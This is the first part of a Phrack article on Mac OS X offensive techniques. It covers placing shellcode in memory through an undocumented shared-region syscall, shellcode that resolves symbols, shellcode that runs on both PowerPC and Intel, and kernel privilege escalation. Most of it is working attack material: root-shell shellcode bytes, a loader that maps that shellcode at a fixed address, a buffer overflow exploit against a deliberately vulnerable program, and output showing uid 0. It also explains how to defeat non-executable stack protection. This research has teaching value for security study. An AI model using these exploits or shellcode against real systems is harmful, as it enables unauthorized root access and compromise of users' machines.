_                                                _
            _/B\_                                            _/W\_
            (* *)            Phrack #64 file 11               (* *)
            | - |                                            | - |
            |   |        Mac OS X wars - a XNU Hope          |   |
            |   |                                            |   |
            |   |      by nemo <nemo@felinemenace.org>       |   |
            |   |                                            |   |
            |   |                                            |   |
            (____________________________________________________)


--[ Contents

  1 - Introduction.

  2 - Local shellcode maneuvering.

  3 - Resolving symbols from Shellcode.

  4 - Architecture spanning shellcode.

  5 - Writing kernel level shellcode.
   5.1 - Local privilege escalation
   5.2 - Breaking chroot()
   5.3 - Advancements

  6 - Misc rootkit techniques.

  7 - Universal binary infection.

  8 - Cracking example - Prey

  9 - Passive malware propagation with mDNS

 10 - Kernel zone allocator exploitation.

 11 - Conclusion

 12 - References

 13 - Appendix A: Code


--[ 1 - Introduction

This paper was written in order to document my research while 
playing with Mac OS X shellcode.  During this process, however,
the paper mutated and evolved to cover a selection of Mac OS X 
related topics which will hopefully make for an interesting read.

Due to the growing popularity of Mac OS X on Intel over PowerPC platforms,
I have mostly focused on techniques for the former.  Many of the concepts 
shown are still applicable on PowerPC architecture, but their particular
implementation is left as an excercise for the reader.

There are already several well written documents on PowerPC and 
Intel assembly language; I will therefore make no attempt to try
and teach you these things. 

If you have any suggestions on how to shorten/tighten the code I 
have written for this paper please drop me an email with the details at: 
nemo@felinemenace.org.

A tar file containing the full code listings referenced in this paper 
can be found in Appendix A.


--[ 2 - Local shellcode maneuvering.

Over the years there have been many different techniques 
developed to calculate valid return addresses when 
exploiting buffer overflows in applications local to 
your system.  Unfortunately many of these techniques are
now obsolete on Intel-based Mac OS X systems with the 
introduction of a non-executable stack in version 10.4
(Tiger).

In the following subsections I will discuss a few historical 
approaches for calculating shellcode addresses in memory  
and introduce a new method for positioning shellcode at a 
fixed location in the address space of a vulnerable target 
process.

--[ 2.1 Historical perspective 1: Aleph1

Over the years there have been many different techniques 
developed to calculate a valid return address when exploiting
a buffer overflow in an application local to your system. 
The most widely known of these is shown in aleph1's "Smashing 
the Stack for Fun and Profit". [9] In this paper, aleph1 simply
writes a small function get_sp() shown below.

	unsigned long get_sp(void) {
	   __asm__("movl %esp,%eax");
	}

This function returns the current stack pointer (esp). 
aleph1 then simply offsets from this value, in an attempt to hit
the nop sled before his shellcode on the stack. This method is
not as precise as it can be, and also requires the shellcode to
be stored on the stack.  This is an obvious issue if your stack is
non-executable.

--[ 2.2 Historical perspective 2: Radical Environmentalist

Another method for storing shellcode and calculating the address
of it inside another process is shown in the Radical 
Environmentalist paper written by the Netric Security Group [10].

In this paper, the author shows that the execve() syscall allows 
full control over the stack of the freshly executed process. 
Because of this, shellcode can be stored in an environment 
variable, the address of which can be calculated as displacement 
from the top of the stack.

In older exploits for Mac OS X (prior to 10.4), this technique 
worked quite well. Since there is no non-executable stack on 
PowerPC 

--[ 2.3 Beating stack prot :P or whatever

In KF's paper "Non eXecutable Stack Loving on Mac OS X86" [11], 
the author demonstrates a technique for removing stack protection
by returning into mprotect() in libSystem (libc) before
returning into their payload. While this technique is very useful
for remote exploitation, a more elegant solution to this problem 
exists for local exploitation.

The first step to getting our shellcode in place is to get some 
shellcode. There has already been significant published work 
in this area. If you are interested to learn how to write 
shellcode for Mac OS X for use in local privilege escalation 
exploits, a couple of papers you should definitely check out are
shown in the references section. [1] and [8]. The shellcode 
chosen for the sample code is described in full in section 2 
of this paper.

The method which I now propose relies on an undocumented the
undocumented Mac OS X system call "shared_region_mapping_np".
This syscall is used at runtime by the dynamic loader (dyld) 
to map widely used libraries across the address space of every 
process on the system; this functionality has many evil uses. 

The file /usr/include/sys/syscalls.h contains the syscall 
number for each of the syscalls. Here is the appropriate 
line in that file which contains our syscall.

	#define SYS_shared_region_map_file_np 299

Here is the prototype for this syscall:

	struct shared_region_map_file_np(
		int fd,
		uint32_t mappingCount,
		user_addr_t mappings, 
		user_addr_t slide_p 
	);

The arguments to this syscall are very simple:

fd             an open file descriptor, providing access to data that 
               we want loaded in memory.
mappingCount   the number of mappings which we want to make from the 
               file.
mappings       a pointer to an array of _shared_region_mapping_np
               structs which describe each mapping (see below).
slide_p        determines whether the syscall is allowed to slide
               the mapping around inside the shared region of memory
	       to make it fit.

Here is the struct definition for the elements of the third argument:

	struct _shared_region_mapping_np {
		mach_vm_address_t   	address;
		mach_vm_size_t      	size;
		mach_vm_offset_t    	file_offset;
		vm_prot_t               max_prot;  
		vm_prot_t               init_prot; 
	};

The struct elements shown above can be explained as followed:

address        the address in the shared region where the data should
               be stored.
size           the size of the mapping (in bytes)
file_offset    the offset into the file descriptor to which we must
               seek in order to reach the start of our data.
max_prot       This is the maximum protection of the mapping,
               this value is created by or'ing the #defines:
	       VM_PROT_EXECUTE,VM_PROT_READ,VM_PROT_WRITE and VM_COW.
init_prot      This is the initial protection of the mapping, again
               this is created by or'ing the values mentioned above.

The following #define's describe the shared region in which
we can map our data. They show the various regions within the
0x00000000->0xffffffff address space which are available to
use as shared regions. These are shown as defined as starting
point, followed by size.

#define SHARED_LIBRARY_SERVER_SUPPORTED
#define GLOBAL_SHARED_TEXT_SEGMENT      0x90000000
#define GLOBAL_SHARED_DATA_SEGMENT      0xA0000000
#define GLOBAL_SHARED_SEGMENT_MASK      0xF0000000

#define SHARED_TEXT_REGION_SIZE         0x10000000
#define SHARED_DATA_REGION_SIZE         0x10000000
#define SHARED_ALTERNATE_LOAD_BASE      0x09000000

To reduce the chance that our shellcode offset will be 
stored at an address that does not contain a NULL byte 
(thereby making this technique viable for string based 
overflows), we position the shellcode at the last address in 
the region where a page (0x1000 bytes) can be mapped.  By 
doing so, our shellcode will be stored at the address 
0x9ffffxxx.

The following code can be used to map some shellcode into
a fixed location by opening the file "/tmp/mapme" and writing 
our shellcode out to it. It then uses the file descriptor
to call the "shared_region_map_file_np" which maps the
code, as well as a bunch of int3's (cc), into the shared
region.

/*--------------------------------------------------------
 * [ sharedcode.c ] 
 *
 * by nemo@felinemenace.org 2007
 */ 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>

#define BASE_ADDR 0x9ffff000
#define PAGESIZE  0x1000
#define FILENAME  "/tmp/mapme"

char dual_sc[] =
"\x5f\x90\xeb\x60"

// setuid() seteuid()
"\x38\x00\x00\xb7\x38\x60\x00\x00"
"\x44\x00\x00\x02\x38\x00\x00\x17"
"\x38\x60\x00\x00\x44\x00\x00\x02"

// ppc execve() code by b-r00t
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"
"\x39\x40\x01\x70\x39\x1f\xfe\xcf"
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x38\x0a\xfe\x91\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"

// seteuid(0);
"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
"\x80"
// setuid(0);
"\x31\xc0\x50\xb0\x17\x6a\x7f\xcd"
"\x80"
// x86 execve() code / nemo
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";


struct _shared_region_mapping_np {
	mach_vm_address_t   	address;
	mach_vm_size_t      	size;
	mach_vm_offset_t    	file_offset;
	vm_prot_t               max_prot;   /* read/write/execute/COW/ZF */
	vm_prot_t               init_prot;  /* read/write/execute/COW/ZF */
};

int main(int argc,char **argv)
{
	int fd;
	struct _shared_region_mapping_np sr;
	chr data[PAGESIZE] = { 0xcc };
	char *ptr = data + PAGESIZE - sizeof(dual_sc);
	
	sr.address     = BASE_ADDR;
	sr.size        = PAGESIZE;
	sr.file_offset = 0;
	sr.max_prot    = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
	sr.init_prot   = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; 

	if((fd=open(FILENAME,O_RDWR|O_CREAT))==-1)
	{
		perror("open");
		exit(EXIT_FAILURE);
	}

	memcpy(ptr,dual_sc,sizeof(dual_sc));

	if(write(fd,data,PAGESIZE) != PAGESIZE)
	{
		perror("write");
		exit(EXIT_FAILURE);
	}

	if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1)
	{
		perror("shared_region_map_file_np");
		exit(EXIT_FAILURE);
	}

	close(fd);
	unlink(FILENAME);

	printf("[+] shellcode at: 0x%x.\n",sr.address + 
					   PAGESIZE - 
					   sizeof(dual_sc));

	exit(EXIT_SUCCESS);
}

/*---------------------------------------------------------*/

When we compile and execute this code, it prints the address of
the shellcode in memory. You can see this below.

	-[nemo@fry:~/code]$ gcc sharedcode.c -o sharedcode
	-[nemo@fry:~/code]$ ./sharedcode 
	[+] shellcode at: 0x9fffff71.

As you can see the address used for our shellcode is 0x9fffff71.
This address, as expected, is free of NULL bytes.

You can test that this procedure has worked as expected by 
starting a new process and connecting to it with gdb.

By jumping to this address using the "jump" command in gdb
our shellcode is executed and a bash prompt is displayed.

	-[nemo@fry:~/code]$ gdb /usr/bin/id
	GNU gdb 6.3.50-20050815 (Apple version gdb-563) 
	(gdb) r
	Starting program: /usr/bin/id 
	^C[Switching to process 752 local thread 0xf03]
	0x8fe01010 in __dyld__dyld_start ()
	Quit
	(gdb) jump *0x9fffff71
	Continuing at 0x9fffff71.
	(gdb) c
	Continuing.
	-[nemo@fry:Users/nemo/code]$  

In order to demonstrate how this can be used in an exploit, 
I have created a trivially exploitable program:

	/*
	 * exploitme.c

	 */ 
	int main(int ac, char  **av)
	{
		char buf[50] = { 0 };
		printf("%s",av[1]);

		if(ac == 2)
			strcpy(buf,av[1]);

		return 1;
	}

Below is the exploit for the above program. 

	/*
	 * [ exp.c ]
	 * nemo@felinemeance.org 2007
	 */

	#include <stdio.h>
	#include <stdlib.h>

	#define VULNPROG "./exploitme"
	#define OFFSET 66  
	#define FIXEDADDR 0x9fffff71

	int main(int ac, char **av)
	{
		char evilbuff[OFFSET];
		char *args[] = {VULNPROG,evilbuff,NULL};
		char *env[]  = {"TERM=xterm",NULL};
		long *ptr = (long *)&(evilbuff[OFFSET - 4]);
		memset(evilbuff,'A',OFFSET);
		*ptr = FIXEDADDR;

		execve(*args,args,env);
		return 1;
	}

As you can see we fill the buffer up with "A"'s, followed by our
return address calculated by sharedcode.c. After the strcpy() occurs 
our stored return address on the stack is overwritten with our new 
return address (0x9fffff71) and our shellcode is executed.

If we chown root /exploitme; chmod +s /exploitme; we can see
that our shellcode is mapped into suid processes, which makes
this technique feasible for local privilege escalation. Also, 
because we control the memory protection on our mapping, we bypass 
non-executable stack protection.

	-[nemo@fry:/]$ ./exp
	fry:/ root# id
	uid=0(root)

One limitation of this technique is that the file you are 
mapping into the shared region must exist on the root file-
system. This is clearly explained in the comment below.

/*
 * The split library is not on the root filesystem.  We don't
 * want to pollute the system-wide ("default") shared region
 * with it.
 * Reject the mapping.  The caller (dyld) should "privatize"
 * (via shared_region_make_private()) the shared region and
 * try to establish the mapping privately for this process.
 */
]

Another limitation to this technique is that Apple have locked 
down this syscall with the following lines of code:

	 *
	 * This system call is for "dyld" only.
	 *

Luckily we can beat this magnificent protection by....
completely ignoring it.


--[ 3 - Resolving Symbols From Shellcode

In this section I will demonstrate a method which can be used to 
resolve the address of a symbol from shellcode.

This is useful in remote exploitation where you wish to access 
or modify some of the functionality of the vulnerable program. 
This may also be useful in calling some of the functions in a 
particular shared library in the address space.

The examples in this section are written in Intel assembly, nasm 
syntax. The concepts presented can easily be recreated in 
PowerPC assembler. If anyone takes the time to do this let me 
know.

The method I will describe requires some basic knowledge about
the Mach-O object format and how symbols are stored/resolved. 
I will try to be as verbose as I can, however if more research 
is required check out the Mach-O Runtime document from the 
Apple website. [4]

The process of resolving symbols which I am describing in this
section involves locating the LINKEDIT section in memory.

The LINKEDIT section is broken up into a symbol table (symtab)
and string table (strtab) as follows:

      [ LINKEDIT SECTION ]

low memory: 0x0
.________________________________,
|---(symtab data starts here.)---| 
|<nlist struct>                  |
|<nlist struct>                  |
|<nlist struct>                  |
| ...                            |
|---(strtab data starts here.)---|
|"_mh_execute_header\0"          |
|"dyld_start\0"                  |
|"main"                          |
| ...                            |
:________________________________;
himem : 0xffffffff

By locating the start of the string table and the start of the
symbol table relative to the address of the LINKEDIT section
it is then possible to loop through each of the nlist structures
in the symbol table and access their appropriate string in
the string table. I will now run through this technique in fine
detail.

To resolve symbols we will start by locating the mach_header in 
memory. This will be the start of our mapped in mach-o image.
One way to find this is to run the "nm" command on our binary
and locate the address of the __mh_execute_header symbol.

Currently on Mac OS X, the executable is simply mapped in at 
the start of the first page. 0x1000. 

We can verify this as follows:

	-[nemo@fry:~]$ nm /bin/sh | grep mh_
	00001000 A __mh_execute_header

	(gdb) x/x 0x1000
	0x1000: 0xfeedface

As you can see the magic number (0xfeedface) is at 0x1000.
This is our Mach-O header. The struct for this is shown 
below:

	struct mach_header 
	{ 
	    uint32_t magic; 
	    cpu_type_t cputype; 
	    cpu_subtype_t cpusubtype; 
	    uint32_t filetype; 
	    uint32_t ncmds; 
	    uint32_t sizeofcmds; 
	    uint32_t flags; 
	}; 

In my shellcode I assume that the file we are parsing always
has a LINKEDIT section and a symbol table load command 
(LC_SYMTAB).  This means that I do not bother parsing the
mach_header struct. However if you do not wish to make this 
assumption, it is easy enough to loop ncmds number of times 
while parsing the load commands.

Directly after the mach_header struct in memory are a bunch
of load_commands. Each of these commands begins with a "cmd"
id field, and the size of the command.

Therefore, we start our code by setting ecx to the address of 
the first load command, directly after the mach_header struct 
in memory. This positions us at 0x101c. We then null out some 
of the registers to use later in the code. 

	;# null out some stuff (ebx,edx,eax)
        xor     ebx,ebx
	mul     ebx                            

	;# position ecx past the mach_header.
	xor	ecx,ecx
        mov     word cx,0x101c              

For symbol resolution, we are only interested in LC_SEGMENT 
commands and the LC_SYMTAB. In particular we are looking for
the LINKEDIT LC_SEGMENT struct. This is explained in more 
detail later.

The #define's for these are in /usr/include/mach-o/loader.h
as follows:

	#define LC_SEGMENT      0x1     
		/* segment of this file to be mapped */
	#define LC_SYMTAB       0x2     
		/* link-edit stab symbol table info */

The LC_SYMTAB command uses the following struct:

	struct symtab_command 
	{ 
	    uint_32 cmd; 
	    uint_32 cmdsize; 
	    uint_32 symoff; 
	    uint_32 nsyms; 
	    uint_32 stroff; 
	    uint_32 strsize; 
	}; 



The symoff field holds the offset from the start of the file to 
the symbol table. The stroff field holds the offset to the string 
table. Both the symbol table and string table are contained in 
the LINKEDIT section.  

By subtracting the symoff from the stroff we get the offset into 
the LINKEDIT section in which to read our strings. The nsyms 
field can be used as a loop count when enumerating the symtab. 
For the sake of this sample code, however,i have assumed that 
the symbol exists and ignored the nsyms field entirely. 

We find the LC_SYMTAB command simply by looping through and 
checking the "cmd" field for 0x2.

The LINKEDIT section is slightly harder to find; we need to look 
for a load command with the cmd type 0x1 (segment_command), 
then check for the name "__LINKEDIT" in the segname field of
the struct. The segment_command struct is shown below:

	struct segment_command 
	{ 
	    uint32_t cmd; 
	    uint32_t cmdsize; 
	    char segname[16]; 
	    uint32_t vmaddr; 
	    uint32_t vmsize; 
	    uint32_t fileoff; 
	    uint32_t filesize; 
	    vm_prot_t maxprot; 
	    vm_prot_t initprot; 
	    uint32_t nsects; 
	    uint32_t flags; 
	}; 

I will now run through an explanation of the assembly code 
used to accomplish this technique.

I have used a trivial state machine to loop through each 
load_command until both the symbol table and LINKEDIT virtual 
addresses have been found. 

First we check which type of load_command each is and then we 
jump to the appropriate handler, if it is one of the types we 
need.

next_header:
	cmp     byte [ecx],0x2  ;# test for LC_SYMTAB (0x2)
	je      found_lcsymtab

	cmp     byte [ecx],0x1  ;# test for LC_SEGMENT (0x1)
	je      found_lcsegment

The next two instructions add the length field of the 
load_command to our pointer. This positions us over the cmd 
field of the next load_command in memory. We jump back up
to the next_header symbol and compare again.

next:   
	add     ecx,[ecx + 0x4]   ;# ecx += length 
	jmp     next_header


The found_lcsymtab handler is called when we have a cmd == 0x2.
We make the assumption that there's only one LC_SYMTAB. We can 
use the fact that if we're here, eax hasn't been set yet and is 0.
By comparing this with edx we can see if the LINKEDIT segment has 
been found. After the cmp, we update eax with the address of the 
LC_SYMTAB. If both the LINKEDIT and LC_SYMTAB sections have been 
found, we jmp to the "found_both" symbol, otherwise we process
the next header.
        
found_lcsymtab:
	cmp     eax,edx    ;# use the fact that eax is 0 to test edx.
	mov     eax,ecx    ;# update eax with current pointer.
	jne     found_both ;# we have found LINKEDIT and LC_SYMTAB
	jmp     next       ;# keep looking for LINKEDIT

The found_lcsegment handler is very similar to the 
found_lcsymtab code. However, since there are many LC_SEGMENT 
commands in most files we need to be sure that we've found 
the __LINKEDIT section.

To do this we add 8 to the struct pointer to get to the 
segname[] string. We then check 2 characters in, skipping
the "__" for the 4 bytes "LINK". 0x4b4e494c accounting for
endian issues. Again, we use the fact that there should 
only be one LINKEDIT section. This means that if we are
past the check for "LINK" edx is 0. We use this to test
eax, to see if the LC_SYMTAB command has been found.
Again if we are done we jmp to found_both, if not back 
up to the "next_header" symbol.

found_lcsegment:
	lea     esi,[ecx + 0x8] ;# get pointer to name
	;# test for "LINK"
	cmp     long [esi + 0x2],0x4b4e494c     
	jne     next            ;# it's not LINKEDIT, NEXT!
	cmp     edx,eax         ;# use zero'ed edx to test eax
	mov     edx,ecx         ;# set edx to current address
	jne     found_both      ;# we're done!
	jmp     next            ;# still need to find 
				;# LC_SYMTAB, continue
				;# EDX = LINKEDIT struct
				;# EAX = LC_SYMTAB struct

Now that we have our pointers to LINKEDIT and LC_SYMTAB, we can 
subtract symtab_command.symoff from symtab_command.stroff to 
obtain the offset of the strings table from the start of LINKEDIT.
By adding this offset to LINKEDIT's virtual address, we have now
calculated the virtual address of the string table in memory.

found_both:
        mov     edi,[eax + 0x10]       ;# EDI = stroff
        sub     edi,[eax + 0x8]        ;# EDI -= symoff
        mov     esi,[edx + 0x18]       ;# esi = VA of linkedit
        add     edi,esi       ;# add virtual address of LINKEDIT to offset

The LINKEDIT section contains a list of "struct nlist" structures.
Each one corresponds to a symbol. The first union contains an offset
into the string table (which we have the VA for). In order to find the 
symbol we want we simply cycle through the array and offset our
string table pointer to test the string.

	struct nlist 
	{ 
	    union { 
	    #ifndef __LP64__ 
		char *n_name; 
	    #endif 
		int32_t n_strx; 
	    } n_un; 
	    uint8_t n_type; 
	    uint8_t n_sect; 
	    int16_t n_desc; 
	    uint32_t n_value; 
	}; 
]

Now that we are able to walk through our nlist structs we are good
to go. However it wouldn't make sense to store the full symbol 
name in our shellcode as this would make the code larger than it 
already is. ;/

I have chosen to steal^H^H^H^Huse skape's "compute_hash" function
from "Understanding Windows Shellcode" [5]. He explains how the 
code works in his paper.

The following code shows a simple loop. First we jump down to the
"hashes" symbol, and call back up to get a pointer to our list of
hashes. We read the first hash in, and then loop through each of
the nlist structures, hashing the symbol found and comparing it
against our precomputed hash.

If the hash is unsuccessful we jump back up to "check_next_hash",
however if it's successful we continue down to the "done" symbol.

;# esi == constant pointer to nlist
;# edi == strtab base

lookup_symbol:
        jmp     hashes
lookup_symbol_up:
        pop     ecx
        mov     ecx,[ecx]           ;# ecx = first hash     
check_next_hash:
        push    esi                 ;# save nlist pointer
        push    edi                 ;# save VA of strtable
        mov     esi,[esi]           ;# *esi = offset from strtab to string
        add     esi,edi             ;# add VA of strtab
compute_hash:
        xor edi, edi
        xor eax, eax
        cld
compute_hash_again:
        lodsb
        test al, al                 ;# test if on the last byte.
        jz compute_hash_finished
        ror edi, 0xd
        add edi, eax
        jmp compute_hash_again
compute_hash_finished:
        cmp     edi,ecx
        pop     edi
        pop     esi
        je      done
        lea     esi,[esi + 0xc]     ;# Add sizeof(struct nlist)
        jmp     check_next_hash
done:   

Each hash we wish to resolve can be appended after the hashes: symbol.

                                                ;# hash in edi
hashes: 
        call    lookup_symbol_up
        dd	0x8bd2d84d

Now that we have the address of our symbol we're all done and can 
call our function, or modify it as we need.

In order to calculate the hash for our required symbol, I have cut
and paste some of skapes code into a little c progam as follows:

	#include <stdio.h>
	#include <stdlib.h>

	char chsc[] = 
	"\x89\xe5\x51\x60\x8b\x75\x04\x31"
	"\xff\x31\xc0\xfc\xac\x84\xc0\x74"
	"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4"
	"\x89\x7d\xfc\x61\x58\x89\xec\xc3";

	int main(int ac, char **av)
	{
		long (*hashstr)() = (long (*)())chsc;

		if(ac != 2) {
			fprintf(stderr,"[!] usage: %s <string to hash>\n",*av);
			exit(1);
		}

		printf("[+] Hash: 0x%x\n",hashstr(av[1]));

		return 0;
	}

We can run this as shown below to generate our hash:

-[nemo@fry:~/code/kernelsc]$ ./comphash _do_payload
[+] Hash: 0x8bd2d84d

If the symbol we have resolved is a function that we wish to call
there is a little more we must do before this is possible.

Mac OS X's linker, by default, uses lazy binding for external 
symbols. This means that if our intended function calls another
function in an external library, which hasn't been called elsewhere
in the program already, the dynamic linker will try to resolve
the address as you call it.

For example, a call to execve() with lazy binding will be replaced
with a call to dyld_stub_execve() as shown below:

0x1f54 <do_payload+78>: call   0x301b <dyld_stub_execve>

At runtime this function contains one instruction:

call   0x8fe12f70 <__dyld_fast_stub_binding_helper_interface>

This invokes the dyld which resolves the symbol and replaces this
instruction with a jmp to the real code:

jmp    0x9003b7d0 <execve>

The only problem which this causes is that this function requires
the stack pointer to be correctly aligned, otherwise our code will
crash.

To do this we simply subtract 0xc from our stack pointer before
calling our function.

Note: 
	This will not be necessary if the program you are 
	exploiting has been compiled with the -bind_at_load 
	flag.

Here is the code I have used to make the call.

done:   
        mov     eax,[esi + 0x8] ;# eax == value
        xchg esp,edx            ;# annoyingly large
        sub dl,0xc              ;# way to align the stack pointer
        xchg esp,edx            ;# without null bytes.
        call    eax
        xchg esp,edx            ;# annoyingly large
        add dl,0xc              ;# way to fix up the stack pointer
        xchg esp,edx            ;# without null bytes.
        ret

I have written a small sample c program to demonstrate this code
in action.

The following code has no call to do_payload(). The shellcode will
resolve the address of this function and call it.

#include <stdio.h>
#include <stdlib.h>

char symresolve[] =
"\x31\xdb\xf7\xe3\x31\xc9\x66\xb9\x1c\x10\x80\x39\x02\x74\x0a\x80"
"\x39\x01\x74\x0d\x03\x49\x04\xeb\xf1\x39\xd0\x89\xc8\x75\x16\xeb"
"\xf3\x8d\x71\x08\x81\x7e\x02\x4c\x49\x4e\x4b\x75\xe7\x39\xc2\x89"
"\xca\x75\x02\xeb\xdf\x8b\x78\x10\x2b\x78\x08\x8b\x72\x18\x01\xf7"
"\xeb\x39\x59\x8b\x09\x56\x57\x8b\x36\x01\xfe\x31\xff\x31\xc0\xfc"
"\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x39\xcf\x5f\x5e"
"\x74\x05\x8d\x76\x0c\xeb\xde\x8b\x46\x08\x87\xe2\x80\xea\x0c\x87"
"\xe2\xff\xd0\x87\xe2\x80\xc2\x0c\x87\xe2\xc3\xe8\xc2\xff\xff\xff"
"\x4d\xd8\xd2\x8b"; // HASH

void do_payload()
{
        char *args[] = {"/usr/bin/id",NULL};
        char *env[]  = {"TERM=xterm",NULL};
        printf("[+] Executing id.\n");
        execve(*args,args,env);
}

int main(int ac, char **av)
{
        void (*fp)() = (void (*)())symresolve;
        fp();
        return 0;
}


As you can see below this code works as you'd expect.

-[nemo@fry:~]$ ./testsymbols 
[+] Executing id.
uid=501(nemo) gid=501(nemo) groups=501(nemo)

The full assembly listing for the method shown in this section
is shown in the Appendix for this paper.

I originally worked on this method for resolving kernel symbols.

Unfortunately, the kernel jettisons (free()'s) the LINKEDIT section
after it boots. Before doing this, it writes out the mach-o file 
/mach.sym containing the symbol information for the kernel.

If you set the boot flag "keepsyms" the LINKEDIT section will 
not be free()'ed and the symbols will remain in kernel memory.

In this case we can use the code shown in this section, and 
simply scan memory starting from the address 0x1000 until we 
find 0xfeedface. Here is some assembly code to do this:

SECTION .text
_main:
        xor     eax,eax
        inc     eax
        shl     eax,0xc         ;# eax = 0x1000
        mov     ebx,0xfeedface  ;# ebx = 0xfeedface
up:
        inc     eax
        inc     eax
        inc     eax
        inc     eax             ;# eax += 4
        cmp     ebx,[eax]       ;# if(*eax != ebx) {
        jnz     up              ;#      goto up }
        ret

After this is done we can resolve kernel symbols as needed.

--[ 4 - Architecture Spanning Shellcode

Since the move from PowerPC to Intel architecture it has become 
common to find both PowerPC and Intel Macs running Mac OS X in
the wild. On top of this, Mac OS X 10.4 ships with virtualization
technology from Transitive called Rosetta which allows an Intel Mac 
toexecute a PowerPC binary.  This means that even after you've 
finger-printed the architecture of a machine as Intel, there's a 
chance a network facing daemon might be running PowerPC code. This 
poses a challenge when writing remote exploits as it is harder 
incorrectly fingerprinting the architecture of the machine will 
result in failure.

In order to remedy this a technique can be used to create 
shellcode which executes on both Intel and PowerPC architecture.

This technique has been documented in the Phrack article of the same
name as this section [16]. 
I provide a brief explanation here as this technique is used 
throughout the remainder of the paper.

The basic premise of this technique is to find a PowerPC instruction
which, when executed, will simply step forward one instruction. It
must do this without performing any memory access, only changing the
state of the registers. When this instruction is interpreted as Intel
opcodes however, a jump must be performed. This jump must be over the
PowerPC portion of the code and into the Intel instructions. In this 
way the architecture type can be determined.

A suitable PowerPC instruction exists. This is the "rlwnm"
instruction.

The following is the definition of this instruction, taken from the
PowerPC manual:

(rlwnm) Rotate Left Word then AND with Mask (x'5c00 0000')

rlwnm  	rA,rS,rB,MB,ME	(Rc = 0) 
rlwnm. 	rA,rS,rB,MB,ME	(Rc = 1) 

,__________________________________________________________.
|10101 |   S    |     A    |    B    |   MB    |   ME    |Rc|
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
0     5 6     10 11      15 16     20 21     25 26       30 31

This is the rotate left instruction on PowerPC. Basically a mask,
(defined by the bits MB to ME) is applied and the register rS is
rotated rB bits. The result is stored in rA. No memory access is
made by this instruction regardless of the arguments given.

By using the following parameters for this instruction we can
end up with a valid and useful opcode.

	rA = 16
	rS = 28
	rB = 29
	MB = XX
	ME = XX
	
	rlwnm r16,r28,r29,XX,XX

This leaves us with the opcode:

	"\x5f\x90\xeb\xxx" 

When this is broken down as Intel code it becomes the following 
instructions:

nasm > db 0x5f,0x90,0xeb,0xXX
00000000  5F                pop edi	    // move edi to the stack
00000001  90                nop		    // do nothing.
00000002  EBXX              jmp short 0xXX  // jump to our payload.

Here is a small example of how this can be useful.

	char trap[] =
	"\x5f\x90\xeb\x06"	// magic arch selector
	"\x7f\xe0\x00\x08"	// trap ppc instruction
	"\xcc\xcc\xcc\xcc";	// intel: int3 int3 int3 int3

This shellcode when executed on PowerPC architecture will 
execute the "trap" instruction directly below our selector code.
However when this is interpreted as Intel architecture instructions
the "eb 06" causes a short jump to the int3 instructions. The 
reason 06 rather than 04 is used for our jmp short value here is that
eip is pointing to the start of the jmp instruction itself (eb) 
during execution.  Therefore, the jmp instruction needs to compensate
by adding two bytes to the lenth of the PowerPC assembly.

To verify that this multi-arch technique works, here is the output 
of gdb when attached to this process on Intel architecture:

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x0000201b in trap ()
	(gdb) x/i $pc
	0x201b <trap+11>:       int3  

Here is the same output from a PowerPC version of this binary:

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x00002018 in trap ()
	(gdb) x/i $pc
	0x2018 <trap+4>:        trap

--[ 5 - Writing Kernel level shellcode

In this section we will look at some techniques for writing shellcode
for use when exploiting kernel level vulnerabilities.

A couple of things to note before we begin. Mac OS X does not share an 
address space for kernel/user space. Both the kernel and userspace
have a 4gb address space each (0x0 -> 0xffffffff).

I did not bother with writing PowerPC code again for most of what I've 
done, if you really want PowerPC code some concepts here will quickly
port others require a little thought ;).

--[ 5.1 - Local privilege escalation

The first type of kernel shellcode we will look at writing is for
local vulnerabilities. The typical objective for local kernel
shellcode is simply to escalate the privileges of our userspace
process.

This topic was covered in noir's excellent paper on OpenBSD kernel 
exploitation in Phrack 60. [6]

A lot of the techniques from noir's paper apply directly to Mac OS X.
noir shows that the sysctl() function can be used to retrieve the  
kinfo_proc struct for a particular process id. As you can see below
one of the members of the kinfo_proc struct is a pointer to the proc 
struct. 

struct kinfo_proc {
        struct  extern_proc kp_proc;             /* proc structure */
        struct  eproc {
                struct  proc *e_paddr;          /* address of proc */
                struct  session *e_sess;        /* session pointer */
                struct  _pcred e_pcred;         /* process credentials */
                struct  _ucred e_ucred;         /* current credentials */
                struct   vmspace e_vm;          /* address space */
                pid_t   e_ppid;                 /* parent process id */
                pid_t   e_pgid;                 /* process group id */
                short   e_jobc;                 /* job control counter */
                dev_t   e_tdev;                 /* controlling tty dev */
                pid_t   e_tpgid;                /* tty process group id */
                struct  session *e_tsess;       /* tty session pointer */
#define WMESGLEN        7
                char    e_wmesg[WMESGLEN+1];    /* wchan message */
                segsz_t e_xsize;                /* text size */
                short   e_xrssize;              /* text rss */
                short   e_xccount;              /* text references */
                short   e_xswrss;
                int32_t e_flag;
#define EPROC_CTTY      0x01    /* controlling tty vnode active */
#define EPROC_SLEADER   0x02    /* session leader */
#define COMAPT_MAXLOGNAME       12
                char e_login[COMAPT_MAXLOGNAME];/* short setlogin() name*/
                int32_t e_spare[4];
        } kp_eproc;
};

Ilja van Sprundel mentioned this technique in his talk at Blackhat [7].
Basically, we can use the leaked address "p.kp_eproc.ep_addr" to access
the proc struct for our process in memory.

